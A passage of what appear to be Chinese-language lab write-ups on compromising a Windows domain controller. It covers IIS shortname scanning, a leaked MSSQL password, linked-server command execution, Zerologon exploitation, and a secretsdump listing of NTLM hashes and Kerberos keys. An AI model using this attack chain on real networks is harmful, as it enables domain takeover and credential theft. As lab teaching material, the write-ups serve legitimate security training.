&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没洞啊？只能从IIS突破一下&lt;/p&gt;
&lt;p&gt;dirsearch没结果&lt;/p&gt;
&lt;h2&gt;IIS&lt;/h2&gt;
&lt;p&gt;搜索半天发现神秘工具 iis_shortname_scan.py&lt;/p&gt;
&lt;p&gt;房主有神器&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Server is vulnerable, please wait, scanning...
[+] /i~1.*      [scan in progress]
[+] /p~1.*      [scan in progress]
[+] /in~1.*     [scan in progress]
[+] /po~1.*     [scan in progress]
[+] /ind~1.*    [scan in progress]
[+] /poo~1.*    [scan in progress]
[+] /inde~1.*   [scan in progress]
[+] /poo_~1.*   [scan in progress]
[+] /index~1.*  [scan in progress]
[+] /poo_c~1.*  [scan in progress]
[+] /poo_co~1.* [scan in progress]
[+] /poo_co~1.t*        [scan in progress]
[+] /poo_co~1.tx*       [scan in progress]
[+] /poo_co~1.txt*      [scan in progress]
[+] File /poo_co~1.txt* [Done]

0 Directories, 1 Files found in total
Note that * is a wildcard, matches any character zero or more times.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说有个叫/poo_co~1.txt*的东西，但是我们不知道具体的文件名无法下载&lt;/p&gt;
&lt;p&gt;直接上bing搜索，发现神秘复现文章 &lt;a href=&quot;https://snowscan.io/htb-writeup-poo/#&quot;&gt;https://snowscan.io/htb-writeup-poo/#&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;虽然我没有fuzz，但是我有搜索引擎，所以我获得了神秘的poo_connection.txt&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;server=localhost;
user=wuwupor;
password=lovlyBaby
database=master
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MSSQL&lt;/h2&gt;
&lt;p&gt;入侵神秘数据库，用户本身只是普通public权限，但是发现存在linked server数据库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;看一下在poo_public的权限&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在POO_PUBLIC上用户被映射为sa&lt;/p&gt;
&lt;p&gt;试试命令执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以直接命令执行，手动编译一个vshell，注意这里只能反连（因为有域防火墙）。vshell默认的脚本放的public文件夹，数据库用户访问不了。&lt;/p&gt;
&lt;h2&gt;域内用户&lt;/h2&gt;
&lt;p&gt;上线以后看一下域内用户&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个mowen用户和p2zhh用户有点说法，拿出来进行一个smb爆破&lt;/p&gt;
&lt;p&gt;挂了快一个小时，爆出来了。当然这里可以直接上msf马，当时糖了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于没开远程桌面，直接登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Msfconsole&lt;/h2&gt;
&lt;p&gt;上一个msf马，依旧反连，而且莫名其妙地只能打上x32的马，x64的马就是出不来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;use post/multi/recon/local_exploit_suggester&lt;/p&gt;
&lt;p&gt;扫出来一坨&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Zerologon&lt;/h2&gt;
&lt;p&gt;使用cve_2020_0787的exp&lt;/p&gt;
&lt;p&gt;由于靶机患了抑郁症，x64的反连shell一直打不出来，只能直接传exp上去了&lt;/p&gt;
&lt;p&gt;这里使用 &lt;a href=&quot;https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION&quot;&gt;https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION&lt;/a&gt; 即可一把梭&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;此处获得了system shell，相当于已经有管理员权限&lt;/p&gt;
&lt;h1&gt;onehang （Zerologon）&lt;/h1&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;p&gt;先ipconfig看一下启动的靶机的地址，得到host-only的网卡IP是192.168.56.1，说明靶机在192.168.56.0/24网段 nmap扫一下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# nmap -sn 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-2820:35 CST
Nmap scan report for[1].168.56.1 Host is up (0.00044s latency).
Nmap scan report for192.168.56.100 Host is up (0.00063s latency).
Nmap scan report for192.168.56.103 Host is up (0.0015s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in16.51 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现了两个目标：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SMB签名： 已启用且强制&lt;/p&gt;
&lt;p&gt;有两个重要的攻击面：Web 网站和 MSSQL。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# nmap -sV -sC -p- --min-rate 5000 192.168.56.103
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-2820:36 CST
Nmap scan report for[2].168.56.103 Host is up (0.00062s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods:
|_  Potentially risky methods: TRACE
|_http-title: CASTLEVANIA Portal
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-2812:37:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: XMCVE.local, Site: Default-
First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 201613.00.5026.00; SP2
|_ssl-date: 2026-03-28T12:38:38+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
|   192.168.56.103:1433: |     Target_Name: XMCVE
|     NetBIOS_Domain_Name: XMCVE
|     NetBIOS_Computer_Name: CASTLEVANIA
|     DNS_Domain_Name: XMCVE.local
|     DNS_Computer_Name: CASTLEVANIA.XMCVE.local
|     DNS_Tree_Name: XMCVE.local
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-03-28T12:32:49
|_Not valid after:  2056-03-28T12:32:49 | ms-sql-info:
|   192.168.56.103:1433:
|     Version:
|       name: Microsoft SQL Server 2016 SP2
|       number: 13.00.5026.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: SP2
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: XMCVE.local, Site: Default-
First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASTLEVANIA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
|   date: 2026-03-28T12:37:58
|_  start_date: N/A | smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_nbstat: NetBIOS name: CASTLEVANIA, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:7d:4a:d4 (PCS 
Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in120.46 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;主机名&lt;/th&gt;
&lt;th&gt;CASTLEVANIA&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;域名&lt;/td&gt;
&lt;td&gt;XMCVE.local&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FQDN&lt;/td&gt;
&lt;td&gt;CASTLEVANIA.XMCVE.local&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;操作系统&lt;/td&gt;
&lt;td&gt;Windows Server 2019&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;关键服务&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;IIS &lt;strong&gt;&lt;strong&gt;网站&lt;/strong&gt;&lt;/strong&gt;(80)&lt;/strong&gt;, &lt;strong&gt;MSSQL 2016(1433)&lt;/strong&gt;, AD域控(88/389/445)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;添加 hosts 并查看网站&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;没有什么信息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# echo &amp;quot;192.168.56.103 CASTLEVANIA CASTLEVANIA.XMCVE.local XMCVE.local&amp;quot; &amp;gt;&amp;gt; /etc/hosts
┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# curl http://192.168.56.103 •&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;CASTLEVANIA Portal&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Employee Portal&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;Under maintenance...&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;枚举&lt;/h2&gt;
&lt;h3&gt;SMB匿名枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# smbclient -L //192.168.56.103 -N session setup failed: NT_STATUS_ACCESS_DENIED
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;LDAP匿名枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# ldapsearch -x -H ldap://192.168.56.103 -b &amp;quot;DC=XMCVE,DC=local&amp;quot; -s base # extended LDIF

#
# LDAPv3
# base &amp;lt;DC=XMCVE,DC=local&amp;gt; with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#
# search result search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A37, comment: In order to perform this opera  tion a successful bind must be completed on the connection., data 0, v4563 # numResponses: 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Web 目录爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# dirsearch -u http://192.168.56.103
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html   from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _  _  _  _ _|_    v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /mnt/c/Users/onehang/reports/http_192.168.56.103/_26-03-28_20-50-40.txt Target: http://192.168.56.103/
[20:50:40] Starting:
[20:50:40] 403-  312B  - /%2e%2e//google.com
[20:50:40] 403-  312B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[20:50:42] 403-  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[20:50:47] 403-  312B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;枚举域用户&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# crackmapexec smb 192.168.56.103 -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; --rid-brute
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing FTP protocol database
[*] Initializing WINRM protocol database
[*] Initializing LDAP protocol database
[*] Initializing RDP protocol database
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Initializing SSH protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         192.168.56.103  445    CASTLEVANIA      [*] Windows 10 / Server 2019 Build 17763 x64 
(name:CASTLEVANIA) (domain:XMCVE.local) (signing:True) (SMBv1:False)
SMB         192.168.56.103  445    CASTLEVANIA      [-] XMCVE.local\: STATUS_ACCESS_DENIED
SMB         192.168.56.103  445    CASTLEVANIA      [-] Error creating DCERPC connection: SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;mssql 弱口令&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# crackmapexec mssql 192.168.56.103 -u &amp;#39;sa&amp;#39; -p &amp;#39;password&amp;#39; --local-auth
MSSQL       192.168.56.103  1433   CASTLEVANIA      [*] Windows 10 / Server 2019 Build 17763
(name:CASTLEVANIA) (domain:CASTLEVANIA)
MSSQL       192.168.56.103  1433   CASTLEVANIA      [-] ERROR(CASTLEVANIA): Line 1: Login failed for user 
&amp;#39;sa&amp;#39;.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;枚举Kerberos用户&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;找到 3 个有效用户，尝试 AS-REP Roasting（检查是否有用户不需要 Kerberos 预认证）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# nmap -p 88 --script krb5-enum-users --script-args krb5-enumusers.realm=&amp;#39;XMCVE.local&amp;#39;,userdb=/tmp/users.txt 192.168.56.103
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-2820:52 CST
Nmap scan report for CASTLEVANIA (192.168.56.103) Host is up (0.00056s latency).
PORT   STATE SERVICE
88/tcp open  kerberos-sec | krb5-enum-users:
| Discovered Kerberos principals
|     admin@XMCVE.local
|     administrator@XMCVE.local
|_    alucard@XMCVE.local
Nmap done: 1 IP address (1 host up) scanned in0.18 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;AS-REP Roasting&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿LAPTOP-UTBE3HPF)-[/mnt/c/Users/onehang]
└─# impacket-GetNPUsers XMCVE.local/ -usersfile /tmp/users.txt -dc-ip 192.168.56.103 -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User administrator doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
[-] User admin doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User alucard doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;都防护的挺死的没什么可以打的点，目前打的渗透不多但是基本上每次都要打cve，并且感觉windows server 2019可能有cve，搜索一下&lt;/p&gt;
&lt;p&gt;发现windows server 2019在CVE-2020-1472的影响版本中，尝试利用&lt;/p&gt;
&lt;h2&gt;Zerologon&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-15.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;hash dump&lt;/h2&gt;
&lt;p&gt;利用成功，接下来dump域内所有用户的哈希&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-16.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;**用户                                              **&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;NTLM 哈希&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Administrator&lt;/td&gt;
&lt;td&gt;d94f9831271e229dbc6e712097b63168&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Alucard&lt;/td&gt;
&lt;td&gt;d94f9831271e229dbc6e712097b63168&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;krbtgt&lt;/td&gt;
&lt;td&gt;1e3c4fe72e1383c576b4b3aeef4730a8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sqlsvc&lt;/td&gt;
&lt;td&gt;d93ef04edb808c5bce3a5bd67b936ca9&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;hash login&lt;/h2&gt;
&lt;h3&gt;psexec&lt;/h3&gt;
&lt;p&gt;使用Administrator 的哈希登录-system&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-17.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;wmiexec&lt;/h3&gt;
&lt;p&gt;wmiexec连接才是administrator&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-18.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Skywalker_Han（Zerologon）&lt;/h1&gt;
&lt;h2&gt;kerbrute&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ kerbrute userenum --dc $ip -d XMCVE.local /home/hank/tools/dic/us
__             __               __        / /_____  _____/ /_  _______  __/ /____   / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \  / ,&amp;lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                   
Version: v1.0.3 (9dad6e1) - 03/28/26 - Ronnie Flathers @rop nop
2026/03/28 09:51:01 &amp;gt;  Using KDC(s):
2026/03/28 09:51:01 &amp;gt;  10.200.26.154:88
2026/03/28 09:51:01 &amp;gt;  [+] VALID USERNAME: admin@XMCVE.local
2026/03/28 09:51:01 &amp;gt;  [+] VALID USERNAME: sales@XMCVE.local
2026/03/28 09:51:02 &amp;gt;  [+] VALID USERNAME: support@XMCVE. local
2026/03/28 09:51:10 &amp;gt;  [+] VALID USERNAME: administrator@XMCVE.local
2026/03/28 09:51:10 &amp;gt;  [+] VALID USERNAME: Admin@XMCVE.lo cal
2026/03/28 09:51:24 &amp;gt;  [+] VALID USERNAME: alucard@XMCVE.local
2026/03/28 09:52:09 &amp;gt;  [+] VALID USERNAME: Alucard@XMCVE. local
2026/03/28 09:52:14 &amp;gt;  [+] VALID USERNAME: Administrator@XMCVE.loca
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;端口扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ fscan -h 10.200.26.154
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| &amp;#39;__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   &amp;lt;     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │ 
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0
[2026-03-28 09:45:58] [INFO] 暴⼒破解线程数: 1
[2026-03-28 09:45:58] [INFO] 开始信息扫描
[2026-03-28 09:45:58] [INFO] 最终有效主机数量: 1
[2026-03-28 09:45:58] [INFO] 开始主机扫描
[2026-03-28 09:45:58] [INFO] 有效端⼝数量: 233
[2026-03-28 09:45:59] [SUCCESS] 端⼝开放 10.200.26.154:139
[2026-03-28 09:45:59] [SUCCESS] 端⼝开放 10.200.26.154:88
[2026-03-28 09:45:59] [SUCCESS] 端⼝开放 10.200.26.154:1433
[2026-03-28 09:45:59] [SUCCESS] 端⼝开放 10.200.26.154:80
[2026-03-28 09:45:59] [SUCCESS] 端⼝开放 10.200.26.154:389
[2026-03-28 09:45:59] [SUCCESS] 端⼝开放 10.200.26.154:445
[2026-03-28 09:45:59] [SUCCESS] 端⼝开放 10.200.26.154:135
[2026-03-28 09:46:04] [SUCCESS] 服务识别 10.200.26.154:139 =&amp;gt;Banner:[.]
[2026-03-28 09:46:04] [SUCCESS] 服务识别 10.200.26.154:88 =&amp;gt; 
[2026-03-28 09:46:04] [SUCCESS] 服务识别 10.200.26.154:1433 =&amp;gt; [ms-sql-s] 版]
[2026-03-28 09:46:04] [SUCCESS] 服务识别 10.200.26.154:80 =&amp;gt; [http]
[2026-03-28 09:46:04] [SUCCESS] 服务识别 10.200.26.154:389 =
[2026-03-28 09:46:04] [SUCCESS] 服务识别 10.200.26.154:445 =
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;timeroast-&lt;em&gt;时钟烘焙&lt;/em&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;└─$ python timeroast.py $ip 
1001:$sntp-ms$cc55305a19f98b32c9531c0c6ee10342$1c0111e90000 0000000a02c44c4f434ced7257d9052ad312e1b8428bffbfcd0aed725b7 ebd3b0666ed725b7ebd3b47d4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;zerologon&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;简单看了下没有匿名端⼝，时钟烘焙破解不出，web没信息，开始查看历史漏洞，发现存在CVE2020 1472，我感觉是⾮预期解。要不然真的有点太简单了，不过确实拿下了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;└─$ python3 zerologon_tester.py CASTLEVANIA $ip Performing authentication attempts...
===========================================================
===========================================================
===== Success! DC can be fully compromised by a Zerologon attack.
nxc smb $ip  -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; -M zerologon SMB         10.200.26.154   445    CASTLEVANIA      [*] Win dows 10 / Server 2019 Build 17763 x64 (name:CASTLEVANIA) (d omain:XMCVE.local) (signing:True) (SMBv1:False) SMB         10.200.26.154   445    CASTLEVANIA      [-] XMCVE.local\: STATUS_ACCESS_DENIED 
ZEROLOGON   10.200.26.154   445    CASTLEVANIA      VULNERA
BLE ZEROLOGON   10.200.26.154   445    CASTLEVANIA      Next st ep: https://github.com/dirkjanm/CVE-2020-1472 直接dumphash
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;secretsdump&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;└─$ impacket-secretsdump -no-pass -just-dc CASTLEVANIA\$@$i p
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthas h) 
[*] Using the DRSUAPI method to get NTDS.DIT secrets 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831 271e229dbc6e712097b63168:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c 576b4b3aeef4730a8:::
Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e2 29dbc6e712097b63168::: XMCVE.local\p2zhh:1104:aad3b435b51404eeaad3b435b51404ee:bc2 bf43119e258bcecf71d44abc29db7::: XMCVE.local\mowen:1105:aad3b435b51404eeaad3b435b51404ee:efb 5fa49a38497a71e144f690860688e:::
XMCVE.local\sales:1106:aad3b435b51404eeaad3b435b51404ee:2b5 76acbe6bcfda7294d6bd18041b8fe::: XMCVE.local\support:1107:aad3b435b51404eeaad3b435b51404ee:2 b576acbe6bcfda7294d6bd18041b8fe::: XMCVE.local\it:1108:aad3b435b51404eeaad3b435b51404ee:2b576a cbe6bcfda7294d6bd18041b8fe::: XMCVE.local\hr:1109:aad3b435b51404eeaad3b435b51404ee:2b576a cbe6bcfda7294d6bd18041b8fe::: XMCVE.local\admin:1110:aad3b435b51404eeaad3b435b51404ee:2b5 76acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\sqlsvc:1112:aad3b435b51404eeaad3b435b51404ee:d9 3ef04edb808c5bce3a5bd67b936ca9::: CASTLEVANIA$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0 d16ae931b73c59d7e0c089c0::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:13e54f64708d675c0a54e b4b40e2ca21b2fcb3e6298969d741fc6e70a9367786 Administrator:aes128-cts-hmac-sha1-96:aafdd9e5c02b41dece2a8
3b2d9b4439c Administrator:des-cbc-md5:80584683e63d5845 krbtgt:aes256-cts-hmac-sha1-96:2392ad160e585e1448c5ca4623b9 ad48789c267c6488a0074dd86e98457fb5fc krbtgt:aes128-cts-hmac-sha1-96:7d55d129c8fe6c50aa87cb542775 f0a0
krbtgt:des-cbc-md5:e570376eb538c132 Alucard:aes256-cts-hmac-sha1-96:638ca0d75cc190cb5e378f1763d cb62c86e72b88c3daea8b4fbe22071cfe38c2 Alucard:aes128-cts-hmac-sha1-96:af36315453c02abbe2c811ee7fd c5b56Alucard:des-cbc-md5:585e80b09b6eb561
XMCVE.local\p2zhh:aes256-cts-hmac-sha1-96:ded2395cf838fe474
403b924638ba43ab5bf6f86f6924a172f42158f89523f58
XMCVE.local\p2zhh:aes128-cts-hmac-sha1-96:a8bf626e448308048
849c8c607846308
XMCVE.local\p2zhh:des-cbc-md5:386df4e008e96813
XMCVE.local\mowen:aes256-cts-hmac-sha1-96:15163711bf2b1f9b5
292a92e92b04a5985e1cb4af3f39c02eec442acf69f8268
XMCVE.local\mowen:aes128-cts-hmac-sha1-96:fab8fe129984295f1
8a99dcf365e654c
